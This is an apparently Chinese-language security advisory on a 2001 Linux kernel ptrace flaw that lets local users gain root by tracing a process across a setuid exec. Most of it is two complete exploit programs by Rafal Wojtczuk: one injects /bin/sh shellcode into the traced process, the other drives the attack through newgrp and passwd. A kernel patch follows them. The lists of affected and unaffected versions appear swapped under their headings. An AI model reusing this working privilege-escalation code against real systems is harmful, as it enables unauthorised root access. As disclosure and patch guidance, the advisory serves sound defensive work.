首页 -> 安全研究
安全研究
安全漏洞
Linux kernel ptrace提升权限漏洞
发布日期:2001-10-18
更新日期:2001-10-19
受影响系统:
不受影响系统:
Linux kernel 2.2.x, x<=19
Linux kernel 2.4.y, y<=9
描述:
Linux kernel 2.0.x
Linux kernel 2.4.12
Linux kernel的某些版本在处理ptrace时存在一些实现上的漏洞。本地用户可能非法提升
权限,比如获取root权限。
问题在于当一个进程被ptrace跟踪后,如果它再启动某个setuid程序时,系统仍然认为它
是一个被跟踪的进程。这可能导致普通用户的进程可以修改特权进程的执行流程,从而
提升权限。
当以下列流程执行时(进程1和进程2开始都是非特权进程)
Time Process 1 Process 2
0 ptrace(PTRACE_ATTACH, pid of Process 2,...)
1 execve /usr/bin/newgrp
2 execve /any/thing/suid
3 execve default user shell
4 execve ./insert_shellcode
在执行到第2步的时候,进程2仍然被跟踪的时候执行任意suid程序后,系统没有考虑setuid
位。因此进程1就可以控制进程2的流程。
<*来源:Rafal Wojtczuk (nergal@7bulls.com)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0135.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Rafal Wojtczuk (nergal@7bulls.com)提供了如下测试代码:
*** insert_shellcode.c ***
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
/* spiritual black dimension */
char hellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#define ADDR 0x00125000
main(int argc, char **argv)
{
int status;
int i, wpid, pid = atoi(argv[1]);
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s)) {
perror("PTRACE_GETREGS");
exit(0);
}
regs.eip = ADDR;
if (ptrace(PTRACE_SETREGS, pid, 0, ®s))
exit(0);
for (i = 0; i <= strlen(hellcode) + 5; i += 4)
ptrace(PTRACE_POKETEXT, pid, ADDR + i,
*(unsigned int *) (hellcode + i));
// kill (pid, SIGSTOP);
if (ptrace(PTRACE_DETACH, pid, 0, 0))
exit(0);
close(2);
do {
wpid = waitpid(-1, &status, 0);
if (wpid == -1) {
perror("waitpid");
exit(1);
}
} while (wpid != pid);
}
*** ptrace_exp.c ***
/* by Nergal */
#include <stdio.h>
#include <sys/ptrace.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void ex_passwd(int fd)
{
char z;
if (read(fd, &z, 1) <= 0) {
perror("read:");
exit(1);
}
execl("/usr/bin/passwd", "passwd", 0);
perror("execl");
exit(1);
}
void insert(int pid)
{
char buf[100];
char *ptr = buf;
sprintf(buf, "exec ./insert_shellcode %i\n", pid);
while (*ptr && !ioctl(0, TIOCSTI, ptr++));
}
main(int argc, char **argv)
{
int res, fifo;
int status;
int pid, n;
int pipa[2];
char buf[1024];
pipe(pipa);
switch (pid = fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
ex_passwd(pipa[0]);
default:;
}
res = ptrace(PTRACE_ATTACH, pid, 0, 0);
if (res) {
perror("attach");
exit(1);
}
res = waitpid(-1, &status, 0);
if (res == -1) {
perror("waitpid");
exit(1);
}
res = ptrace(PTRACE_CONT, pid, 0, 0);
if (res) {
perror("cont");
exit(1);
}
fprintf(stderr, "attached\n");
switch (fork()) {
case -1:
perror("fork");
exit(1);
case 0:
close(pipa[1]);
sleep(1);
insert(pid);
do {
n = read(pipa[0], buf, sizeof(buf));
} while (n > 0);
if (n < 0)
perror("read");
exit(0);
default:;
}
close(pipa[0]);
dup2(pipa[1], 2);
close(pipa[1]);
/* Decrystallizing reason */
setenv("LD_DEBUG", "libs", 1);
/* With strength I burn */
execl("/usr/bin/newgrp", "newgrp", 0);
}
建议:
厂商补丁:
Linux kernel 2.4.12已经解决了这一问题,您可以在厂商主页下载最新升级版本:
http://www.kernel.org/pub/linux/kernel/v2.4/linux-2.4.12.tar.gz
对于Linux kernel 2.2.19, Rafal Wojtczuk (nergal@7bulls.com)提供
了如下补丁:
diff -urP linux-2.2.19/fs/exec.c linux/fs/exec.c
--- linux-2.2.19/fs/exec.c Mon Mar 26 07:13:23 2001
+++ linux/fs/exec.c Tue Oct 9 05:00:50 2001
@@ -552,12 +645,11 @@
}
/*
- * We mustn't allow tracing of suid binaries, unless
- * the tracer has the capability to trace anything..
+ * We mustn't allow tracing of suid binaries, no matter what.
*/
static inline int must_not_trace_exec(struct task_struct * p)
{
- return (p->flags & PF_PTRACED) && !cap_raised(p->p_pptr->cap_effective, CAP_SYS_PTRACE);
+ return (p->flags & PF_PTRACED);
}
/*
您需要重新编译并替换原有内核,重新启动系统。
浏览次数:3843
严重程度:0(网友投票)
绿盟科技给您安全的保障